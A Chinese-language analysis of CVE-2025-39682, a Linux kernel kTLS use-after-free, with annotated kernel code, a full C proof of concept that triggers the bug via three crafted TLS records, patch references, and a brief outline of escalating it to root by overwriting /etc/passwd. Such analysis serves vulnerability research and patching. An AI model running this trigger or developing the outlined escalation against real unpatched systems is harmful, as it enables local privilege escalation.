Linux内核漏洞分析之CVE-2025-39682
CVE-2025-39682漏洞分析
漏洞简介
漏洞编号: CVE-2025-39682
影响版本: Linux Kernel < v6.17
漏洞产品: linux kernel - tls & tls_record_content_type & uaf
利用效果: 本地提权
注:由于早期内核版本编译有问题,作者并未实测过该漏洞最早受影响的版本,且该漏洞实际上是另一个漏洞的未修复完全版本,作者稍后会在文末详细解释
环境搭建
复现环境:qemu + linux kernel v6.16
环境附件: bzImage
复现流程: qemu启动patch的内核后,将poc编译传到vm中(或者编译好重新打包文件系统),运行即可触发kasan报告
注:作者测试的内核是图方便直接在一个已修复版本进行patch的,6.12.67这个版本已修复该漏洞
漏洞原理
漏洞的本质是uaf。当ktls使用zc零拷贝时,内核并不会额外分配一个skb而是选择直接复用接收队列上原有的skb,在解密完成后该skb会被直接释放,而在同一解密流中当record类型不一致时,ktls的处理逻辑是将skb放入rx_list中等下一次接收再读取,最终导致释放的内存残留额外引用在rx_list中引发uaf
漏洞分析
在tls_sw_recvmsg函数中有这么一段代码
err = tls_record_content_type(msg, tls_msg(darg.skb), &control);
if (err <= 0) {
DEBUG_NET_WARN_ON_ONCE(darg.zc);
tls_rx_rec_done(ctx);
put_on_rx_list_err:
__skb_queue_tail(&ctx->rx_list, darg.skb);
goto recv_end;
}简单理解它的逻辑就是,当处理多个record时,如果当前record的type与之前不一致,则将当前record对应的skb存入rx_list中
在tls_sw_recvmsg函数的开头有这么一段代码
err = process_rx_list(ctx, msg, &control, 0, len, is_peek, &rx_more);
if (err < 0)
goto end;
copied = err;
if (len <= copied || (copied && control != TLS_RECORD_TYPE_DATA) || rx_more)
goto end;就是说当rx_list中有数据时优先读取,如果读取的长度rx_list已经能满足甚至直接就goto end
结合起来看其实就是,当record的type不一致时存放到rx_list中供下次读取,那么为什么这段代码会引发漏洞呢?其实这条代码也给出了提示DEBUG_NET_WARN_ON_ONCE(darg.zc)
它想表达的是,如果设置了darg.zc,不应该走到这个路径,为何?
在tls解密之前有这么一条调用链:
tls_rx_rec_wait -> tls_strp_msg_load -> tls_strp_load_anchor_with_queue
最终会将接收队列的一个skb加载到strp->anchor这条引用中
进行tls解密时则有这么一条调用链:
tls_rx_one_record -> tls_decrypt_sw -> tls_decrypt_sg
不讨论后续具体加密细节,就分析tls_decrypt_sg这个函数
static int tls_decrypt_sg(struct sock *sk, struct iov_iter *out_iov,
struct scatterlist *out_sg,
struct tls_decrypt_arg *darg)
{
......
if (darg->zc && (out_iov || out_sg)) {
clear_skb = NULL;
if (out_iov)
n_sgout = 1 + tail_pages +
iov_iter_npages_cap(out_iov, INT_MAX, data_len);
else
n_sgout = sg_nents(out_sg);
} else {
darg->zc = false;
clear_skb = tls_alloc_clrtxt_skb(sk, skb, rxm->full_len);
if (!clear_skb)
return -ENOMEM;
n_sgout = 1 + skb_shinfo(clear_skb)->nr_frags;
}
......
if (clear_skb) {
sg_init_table(sgout, n_sgout);
sg_set_buf(&sgout[0], dctx->aad, prot->aad_size);
err = skb_to_sgvec(clear_skb, &sgout[1], prot->prepend_size,
data_len + prot->tail_size);
if (err < 0)
goto exit_free;
} else if (out_iov) {
sg_init_table(sgout, n_sgout);
sg_set_buf(&sgout[0], dctx->aad, prot->aad_size);
err = tls_setup_from_iter(out_iov, data_len, &pages, &sgout[1],
(n_sgout - 1 - tail_pages));
if (err < 0)
goto exit_free_pages;
if (prot->tail_size) {
sg_unmark_end(&sgout[pages]);
sg_set_buf(&sgout[pages + 1], &dctx->tail,
prot->tail_size);
sg_mark_end(&sgout[pages + 1]);
}
} else if (out_sg) {
memcpy(sgout, out_sg, n_sgout * sizeof(*sgout));
}
dctx->free_sgout = !!pages;
/* Prepare and submit AEAD request */
err = tls_do_decryption(sk, sgin, sgout, dctx->iv,
data_len + prot->tail_size, aead_req, darg);
if (err) {
if (darg->async_done)
goto exit_free_skb;
goto exit_free_pages;
}
darg->skb = clear_skb ?: tls_strp_msg(ctx);
clear_skb = NULL;
......
}简单来说这个函数主要是对解密缓冲区的处理,主要有三个选择,当不走zc零拷贝时内核会分配新的clear_skb作为载体,并在函数返回前将引用传递给darg->skb,而如果走的是zc零拷贝路径,返回的则是strp->anchor这条引用
static inline struct sk_buff *tls_strp_msg(struct tls_sw_context_rx *ctx)
{
DEBUG_NET_WARN_ON_ONCE(!ctx->strp.msg_ready || !ctx->strp.anchor->len);
return ctx->strp.anchor;
}这有什么问题呢?关键在于这段代码中,简单理解就是tls_rx_rec_done的功能是释放strp->anchor这条引用,而在内存释放之后又将引用附加到rx_list中,显而易见造成了UAF了
err = tls_record_content_type(msg, tls_msg(darg.skb), &control);
if (err <= 0) {
DEBUG_NET_WARN_ON_ONCE(darg.zc);
tls_rx_rec_done(ctx);
put_on_rx_list_err:
__skb_queue_tail(&ctx->rx_list, darg.skb);//darg.skb == strp->anchor
goto recv_end;
}poc分析
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/msg.h>
#include <sched.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/sendfile.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <err.h>
#include <linux/tls.h>
#include <sys/mman.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
#define PORT 4444
void setup_tls(int sock)
{
struct tls12_crypto_info_aes_ccm_128 crypto = {0};
crypto.info.version = TLS_1_2_VERSION;
crypto.info.cipher_type = TLS_CIPHER_AES_CCM_128;
SYSCHK(setsockopt(sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls")));
SYSCHK(setsockopt(sock, SOL_TLS, TLS_RX, &crypto, sizeof(crypto)));
}
int main(int argc, char **argv)
{
char control[1024];
char buf[4096];
int listener, conn, client;
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(PORT),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK)};
socklen_t len = sizeof(addr);
setvbuf(stdout, 0, 2, 0);
listener = SYSCHK(socket(AF_INET, SOCK_STREAM, 0));
if (listener < 0)
{
perror("socket listener");
exit(1);
}
SYSCHK(bind(listener, (struct sockaddr *)&addr, sizeof(addr)));
SYSCHK(listen(listener, 1));
client = SYSCHK(socket(AF_INET, SOCK_STREAM, 0));
SYSCHK(connect(client, (struct sockaddr *)&addr, sizeof(addr)));
conn = SYSCHK(accept(listener, NULL, 0));
setup_tls(conn);
/* MESSAGE 1: Raw TLS 1.2 record for plaintext: 'Hello world' */
/* Sequence Number: 0 */
/* Total length: 40 bytes */
unsigned char tls_record_1[] = {
0x17, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x26, 0xa2, 0x33, 0xde, 0x8d, 0x94, 0xf0, 0x29, 0x6c, 0xb1, 0xaf,
0x6a, 0x75, 0xb2, 0x93, 0xad, 0x45, 0xd5, 0xfd, 0x03, 0x51, 0x57, 0x8f,
0xf9, 0xcc, 0x3b, 0x42};
unsigned int tls_record_1_len = sizeof(tls_record_1);
/* MESSAGE 2: Raw TLS 1.2 record for plaintext: '' */
/* Sequence Number: 1 */
/* Total length: 29 bytes */
unsigned char tls_record_2[] = {
0x16, 0x03, 0x03, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x3e, 0xf0, 0xfe, 0xee, 0xd9, 0xe2, 0x5d, 0xc7, 0x11, 0x4c, 0xe6,
0xb4, 0x7e, 0xef, 0x40, 0x2b};
unsigned int tls_record_2_len = sizeof(tls_record_2);
/* MESSAGE 3: Raw TLS 1.2 record for plaintext: 'Hello world' */
/* Sequence Number: 2 */
/* Total length: 40 bytes */
unsigned char tls_record_3[] = {
0x17, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0xe5, 0x3d, 0x19, 0x3d, 0xca, 0xb8, 0x16, 0xb6, 0xff, 0x79, 0x87,
0x8e, 0xa1, 0xd0, 0xcd, 0x33, 0xb5, 0x86, 0x2b, 0x17, 0xf1, 0x52, 0x2a,
0x55, 0x62, 0x65, 0x11};
unsigned int tls_record_3_len = sizeof(tls_record_3);
write(client, tls_record_1, sizeof(tls_record_1));
write(client, tls_record_2, sizeof(tls_record_2));
int n = read(conn, buf, 0x100);
write(client, tls_record_3, sizeof(tls_record_3));
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf),
};
struct msghdr lmsg = {
.msg_name = NULL,
.msg_namelen = 0,
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
.msg_flags = 0,
};
n = recvmsg(conn, &lmsg, 0);
close(conn);
return 0;
}主要通过三个record去触发漏洞,按理说,触发漏洞的关键是这段代码
err = tls_record_content_type(msg, tls_msg(darg.skb), &control);
if (err <= 0) {
DEBUG_NET_WARN_ON_ONCE(darg.zc);
tls_rx_rec_done(ctx);
put_on_rx_list_err:
__skb_queue_tail(&ctx->rx_list, darg.skb);
goto recv_end;
}也就是使得两个record的type不一致,且后面的record走的是zc零拷贝路径就行了,为何需要三个record呢?关键在于这段代码的逻辑
if (control != TLS_RECORD_TYPE_DATA)
break;也就是当record的type不是data时就不再继续处理了,这也是patch成功防护的原理
这段代码的原理则是,如果control没被赋值过则进行赋值,赋值过之后则进行比较
static int tls_record_content_type(struct msghdr *msg, struct tls_msg *tlm,
u8 *control)
{
int err;
if (!*control) {
*control = tlm->control;
if (!*control)
return -EBADMSG;
err = put_cmsg(msg, SOL_TLS, TLS_GET_RECORD_TYPE,
sizeof(*control), control);
if (*control != TLS_RECORD_TYPE_DATA) {
if (err || msg->msg_flags & MSG_CTRUNC)
return -EIO;
}
} else if (*control != tlm->control) {
return 0;
}
return 1;
}综上所述,触发漏洞的原理则是
- 发送两个record后进行第一次recv
处理一个data类型的record,初始化control为TLS_RECORD_TYPE_DATA
处理一个其它类型的record,触发判断使得skb加入到rx_list中
- 发送第三个record,并以zc零拷贝的方式进行recv
此时rx_list中有skb优先处理,处理完后control被设置为0x16(非data类型),读取长度不够继续读取第三个record,此时触发判断使得第三个record对应的skb加入到rx_list中,但由于zc零拷贝的原因该内存已然释放造成uaf
patch:62708b9452f8eb77513115b17c4f8d1a22ebf843
本文旨在对漏洞的分析,漏洞利用就不多赘述了,但总体思路其实比较简单,skb的frags数组有page的话,可考虑转成page UAF,有了page UAF最简单的dataonly利用方式就是堆喷filp篡改/etc/passwd了
补充:开头之所以说该漏洞是另一个漏洞的未修复完全版,其实是最早这个漏洞是CVE-2024-58239
patch:fdfbaec5923d9359698cbb286bc0deadbb717504
该patch忽略了当非data的record长度为0的情况,导致当copied的值是0时出现的逻辑短路,绕过了后面control != TLS_RECORD_TYPE_DATA这条check
写的挺好